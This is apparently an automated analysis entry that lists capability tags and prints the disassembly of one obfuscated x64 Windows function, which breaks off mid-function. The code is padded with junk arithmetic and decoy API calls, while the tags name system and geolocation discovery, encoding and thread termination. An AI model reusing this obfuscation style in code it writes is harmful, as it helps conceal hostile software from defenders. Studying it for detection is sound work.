Function at 0x140001010
Capabilities:
Accept command line arguments
Delete directory
Encode data using base64
Encode data using xor
Get disk information
Get disk size
Get geographical location
Identify system language via api
Manipulate console buffer
Set current directory
Terminate thread

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x173e8
call fcn.1400fad70
sub rsp, rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x167e0]
call fcn.1400face0
lea rax, [rsp + 0x167f8]
lea rcx, str.busied_seethe
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1c
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x2958], 0x6516
mov dword [rsp + 0x295c], 0x7159
mov eax, dword [rsp + 0x2958]
mov dword [rsp + 0x2960], eax
cmp dword [rsp + 0x2960], 0x2c70
je 0x140001109
cmp dword [rsp + 0x2960], 0x6516
je 0x1400010a7
jmp 0x1400011bb
cmp dword [rsp + 0x2958], 0xafd0
je 0x140001104
mov eax, dword [rsp + 0x2958]
mov dword [rsp + 0x2964], eax
cmp dword [rsp + 0x2964], 0xe4b9
je 0x1400010d1
jmp 0x140001104
mov eax, dword [rsp + 0x2958]
sub eax, 0xa163
cmp eax, 0x9736
je 0x140001104
mov eax, dword [rsp + 0x2958]
add eax, 0xeeeb
mov dword [rsp + 0x2958], eax
mov ecx, dword [rsp + 0x2958]
call fcn.1400f92c0
nop
jmp 0x1400011bb
lea rcx, [rsp + 0x16cf0]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x2968], eax
mov eax, dword [rsp + 0x2958]
and eax, 0x2b87
mov dword [rsp + 0x2958], eax
mov eax, dword [rsp + 0x2958]
mov dword [rsp + 0x296c], eax
cmp dword [rsp + 0x296c], 0x61e4
je 0x14000115b
cmp dword [rsp + 0x296c], 0xd509
je 0x140001198
jmp 0x1400011bb
lea rcx, [rsp + 0x16a10]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x2970], eax
mov eax, dword [rsp + 0x2958]
xor eax, 0x291e
mov dword [rsp + 0x2958], eax
mov eax, dword [rsp + 0x2958]
or eax, 0xa88d
mov dword [rsp + 0x2958], eax
jmp 0x1400011bb
mov r8w, 0x5b
mov rdx, qword [rsp + 0x4ad0]
mov rcx, qword [rsp + 0x4ad8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0x840], ax
mov dword [rsp + 0x2974], 0x786f
mov eax, 0x88c
mov word [rsp + 0x844], ax
movzx eax, word [rsp + 0x844]
mov dword [rsp + 0x2978], eax
cmp dword [rsp + 0x2978], 0x7fb
je 0x1400011f1
jmp 0x14000120b
lea rcx, [rsp + 0x16f10]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x297c], eax
jmp 0x1400f90a2
movzx eax, word [rsp + 0x844]
cmp eax, 0xf79
jle 0x140001277
cmp dword [rsp + 0x2958], 0x185e
je 0x14000126a
mov eax, 0x475
mov word [rsp + 0x840], ax
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2980], eax
mov eax, dword [rsp + 0x2980]
shl eax, 0x1b
mov dword [rsp + 0x2958], eax
lea rcx, [rsp + 0x16910]
call qword [sym.imp.COMDLG32.dll_FindTextW]
mov qword [rsp + 0x4ae0], rax
jmp 0x140001277
mov eax, 0x36a
mov word [rsp + 0x840], ax
mov dword [rsp + 0x2984], 0x8847
movzx eax, word [rsp + 0x844]
add eax, 0xeed
cmp eax, 0xa0a
jle 0x1400f9068
movzx eax, word [rsp + 0x844]
mov dword [rsp + 0x2988], eax
cmp dword [rsp + 0x2988], 0x455
je 0x1400f8f8d
cmp dword [rsp + 0x2988], 0x88c
je 0x1400012cc
jmp 0x1400f8ff1
movsx eax, word [rsp + 0x840]
mov dword [rsp + 0x298c], eax
cmp dword [rsp + 0x298c], 0xd2
je 0x1400012fe
cmp dword [rsp + 0x298c], 0x73c
je 0x1400013c2
jmp 0x140001498
movzx eax, word [rsp + 0x844]
mov dword [rsp + 0x2990], eax
cmp dword [rsp + 0x2990], 0xe83
je 0x1400013a8
cmp dword [rsp + 0x2990], 0xeda
je 0x140001330
jmp 0x1400013bd
mov eax, 0x762
mov word [rsp + 0x840], ax
lea r9, [rsp + 0x2994]
lea r8, [rsp + 0x2958]
lea rdx, [rsp + 0x840]
mov rcx, qword [rsp + 0x4ae8]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x2998], eax
movzx eax, word [rsp + 0x844]
add eax, 0xf66
mov word [rsp + 0x844], ax
lea r9, [rsp + 0x4af0]
mov r8d, 0x9a
mov edx, 0x9e
mov rcx, qword [rsp + 0x4af8]
call sub.WINSPOOL.DRV_FindFirstPrinterChangeNotification
mov qword [rsp + 0x4af8], rax
jmp 0x1400013bd
movzx eax, word [rsp + 0x844]
sub eax, 0xe9b
mov word [rsp + 0x844], ax
jmp 0x140001498
lea r9, [rsp + 0x16df0]
lea r8, [rsp + 0x840]
lea rdx, [rsp + 0x2958]
mov rcx, qword [rsp + 0x4af0]
call sub.WINSPOOL.DRV_FindNextPrinterChangeNotification
mov dword [rsp + 0x2970], eax
mov eax, dword [rsp + 0x2980]
add eax, 0xaed4
mov dword [rsp + 0x2958], eax
lea r9, [rsp + 0x2994]
mov r8d, 0xcb
lea rdx, [rsp + 0x16a10]
mov rcx, qword [rsp + 0x4b00]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x2968], eax
movzx eax, word [rsp + 0x844]
or eax, 0xec5
mov word [rsp + 0x844], ax
movzx eax, word [rsp + 0x844]
xor eax, 0xfd8
cmp eax, 0xf6
jl 0x14000147e
lea r9, [rsp + 0x16a10]
mov r8d, 0x7e
lea rdx, [rsp + 0x16cf0]
mov rcx, qword [rsp + 0x4af0]
call sub.WINSPOOL.DRV_ReadPrinter
mov dword [rsp + 0x297c], eax
mov eax, 0xb3
mov word [rsp + 0x840], ax
mov ecx, dword [rsp + 0x2980]
call fcn.1400f92c0
nop
mov dword [rsp + 0x299c], 0x6e12
lea rax, [rsp + 0x2958]
mov qword [rsp + 0x4b08], rax
mov dword [rsp + 0x29a0], 0xddfc
mov dword [rsp + 0x29a4], 0xd970
mov dword [rsp + 0x29a8], 0x336a
mov dword [rsp + 0x29ac], 0x10beb
cmp dword [rsp + 0x29a0], 0xb57c
jb 0x140001921
mov eax, dword [rsp + 0x2980]
movzx ecx, al
mov eax, dword [rsp + 0x2958]
shr eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movzx eax, word [rsp + 0x844]
shl eax, 4
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
movzx eax, word [rsp + 0x844]
add eax, 0x31f
mov word [rsp + 0x844], ax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movzx eax, word [rsp + 0x844]
sub eax, 0x6e6
mov word [rsp + 0x844], ax
mov eax, 0x12
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x844]
and eax, 0x148
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
sub eax, 0x7d8
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
xor eax, 0x61e
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x844]
sar eax, 0xb
mov word [rsp + 0x844], ax
movzx eax, word [rsp + 0x844]
shl eax, 6
mov word [rsp + 0x844], ax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
sub eax, 0x587
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x844]
sub eax, 0xeba
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
and eax, 0x1b0
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x29a0]
sub eax, 0xd8
mov dword [rsp + 0x29a0], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
movsx eax, word [rsp + 0x840]
sub eax, 0x4bb
mov word [rsp + 0x840], ax
movsx eax, word [rsp + 0x840]
add eax, 0x262
mov word [rsp + 0x840], ax
movsx eax, word [rsp + 0x840]
xor eax, 0xe3
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4b10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b10]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4b18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b18]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2958]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
and eax, 0x3e
mov word [rsp + 0x840], ax
movsx eax, word [rsp + 0x840]
sub eax, 0x23f
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
movsx eax, word [rsp + 0x840]
add eax, 0x143
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2958], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
jmp 0x1400014df
movabs rax, 0x7527b6bf2065b4
mov qword [rsp + 0x4b20], rax
movabs rax, 0x7d5aadcb006879
mov qword [rsp + 0x4b28], rax
mov dword [rsp + 0x29b0], 0x5adc
mov byte [rsp + 0x30], 0x69
mov dword [rsp + 0x29b4], 0xb622
movsx eax, word [rsp + 0x840]
shl eax, 9
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4b30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b30]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov dword [rsp + 0x2980], eax
movabs rax, 0x7efdbccbe63b99
mov rcx, qword [rsp + 0x4b20]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
movabs rax, 0x7661a93d8cc325
mov rcx, qword [rsp + 0x4b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2980], eax
movzx eax, word [rsp + 0x844]
add eax, 0xd08
mov word [rsp + 0x844], ax
mov eax, dword [rsp + 0x295c]
sub eax, 0xfb
mov dword [rsp + 0x295c], eax
movabs rax, 0x79debf61885a03
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
movsx eax, byte [rsp + 0x30]
add eax, 0x53
mov byte [rsp + 0x30], al
movzx eax, word [rsp + 0x844]
sub eax, 0xd55
mov word [rsp + 0x844], ax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shl eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4b38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b38]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x30]
and eax, 0x73
mov byte [rsp + 0x30], al
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movzx eax, word [rsp + 0x844]
add eax, 0xe7e
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movabs rax, 0x7879912d18bfbe
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2958]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
xor eax, 0x169
mov word [rsp + 0x840], ax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2958]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2980]
movzx ecx, al
mov eax, dword [rsp + 0x2958]
shr eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shl eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movabs rax, 0x7320352360be0a
mov rcx, qword [rsp + 0x4b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
cmp dword [rsp + 0x295c], 0x5acc
jae 0x140001960
cmp dword [rsp + 0x29a4], 0xefff
ja 0x140001fc1
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
add eax, 0x358
mov word [rsp + 0x840], ax
movsx eax, byte [rsp + 0x30]
sub eax, 0x4d
mov byte [rsp + 0x30], al
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
movzx ecx, al
mov eax, dword [rsp + 0x2980]
shl eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b20]
sar rax, 0x1f
mov qword [rsp + 0x4b20], rax
mov eax, dword [rsp + 0x29a4]
add eax, 0x4d
mov dword [rsp + 0x29a4], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x30]
add eax, 0x20
mov byte [rsp + 0x30], al
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movabs rax, 0x70896d9a45012e
mov rcx, qword [rsp + 0x4b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4b08]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
sub eax, 0x71d
mov word [rsp + 0x840], ax
movsx eax, word [rsp + 0x840]
xor eax, 0x6b9
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x844]
sar eax, 9
mov word [rsp + 0x844], ax
jmp 0x140001d86
movzx eax, word [rsp + 0x844]
or eax, 0x667
mov word [section..data], ax
lea rax, [rsp + 0x2958]
mov qword [rsp + 0x4b40], rax
mov dword [rsp + 0x29b8], 0x409a
mov eax, dword [rsp + 0x2958]
mov rcx, qword [rsp + 0x4b08]
mov qword [rsp + 0x4b48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b48]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2980]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x14000215d
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov rdx, qword [rsp + 0x4b40]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jne 0x140002131
mov rax, qword [rsp + 0x4b28]
mov qword [rsp + 0x4b50], rax
movabs rax, 0x70b83c2bc1433f
cmp qword [rsp + 0x4b50], rax
je 0x1400020a0
movabs rax, 0x737707da98d518
cmp qword [rsp + 0x4b50], rax
je 0x140002112
jmp 0x140002131
movabs rax, 0x7b4aa6789d257c
mov rcx, qword [rsp + 0x4b28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov eax, dword [rsp + 0x2980]
mov ecx, dword [rsp + 0x2958]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4b00]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x2970], eax
movabs rax, 0x700e0d8ed6a2b6
mov rcx, qword [rsp + 0x4b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
jmp 0x140002131
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
sub eax, 0x130
mov word [rsp + 0x840], ax
mov ecx, 0x2f
call qword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov dword [rsp + 0x29bc], eax
jmp 0x140002271
movabs rax, 0x7deebd97f99adc
cmp qword [rsp + 0x4b28], rax
ja 0x140002271
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
mov dword [rsp + 0x29c0], eax
cmp dword [rsp + 0x29c0], 0x1d6
je 0x140002254
cmp dword [rsp + 0x29c0], 0x5fd
je 0x1400021c3
jmp 0x140002271
movzx eax, word [rsp + 0x844]
add eax, 0x147
movzx ecx, word [section..data]
cmp eax, ecx
jle 0x140002252
movzx eax, word [rsp + 0x844]
or eax, 0xafb
mov word [section..data], ax
mov rcx, qword [rsp + 0x4af8]
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
mov dword [rsp + 0x29c4], eax
movsx eax, byte [rsp + 0x30]
sar eax, 1
mov byte [rsp + 0x30], al
mov ecx, 0x50
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0x4af8], rax
mov eax, dword [rsp + 0x2980]
mov rcx, qword [rsp + 0x4b40]
mov qword [rsp + 0x4b58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4b58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
jmp 0x140002271
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2980], eax
mov dword [rsp + 0x29c8], 0x7da4
movabs rax, 0x77d8c1f29153f7
mov rcx, qword [rsp + 0x4b28]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
movabs rax, 0x745de0e4c16544
mov rcx, qword [rsp + 0x4b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
movsx eax, word [rsp + 0x840]
sub eax, 0x563
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2980]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
movsx eax, word [rsp + 0x840]
sub eax, 0xd5
mov word [rsp + 0x840], ax
movzx eax, word [rsp + 0x844]
add eax, 0xc2e
mov word [section..data], ax
mov rax, qword [rsp + 0x4b40]
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov dword [rsp + 0x29bc], 0xdce
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movabs rax, 0x74b7f564e6265a
mov rcx, qword [rsp + 0x4b28]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x4b20]
sar rax, 0x1b
mov qword [rsp + 0x4b20], rax
mov eax, dword [rsp + 0x2958]
mov ecx, dword [rsp + 0x2980]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x30]
shl eax, 6
mov byte [rsp + 0x30], al
movzx eax, word [rsp + 0x844]
sub eax, 0x9df
mov word [section..data], ax
movsx eax, word [rsp + 0x840]
and eax, 0x6c0
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x4b40]
mov ecx, dword [rsp + 0x2958]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29c8]
sub eax, 0xac
mov dword [rsp + 0x29c8], eax
movabs rax, 0x7c8c6e6f919bc6
mov rcx, qword [rsp + 0x4b20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b20], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2958], eax
cmp dword [rsp + 0x29c8], 0x64c8
ja 0x14000227c
mov rax, qword [rsp + 0x4b40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2958]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b08]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2980]
add edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x14000251c
mov edx, 0x64
mov rcx, qword [rsp + 0x4b60]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [rsp + 0x2970], eax
movsx eax, byte [rsp + 0x30]
add eax, 0x3f
mov byte [rsp + 0x30], al
movzx r9d, byte [rsp + 0x30]
mov rax, qword [rsp + 0x4b40]
mov r8d, dword [rax]
movzx edx, word [rsp + 0x844]
movzx ecx, word [rsp + 0x840]
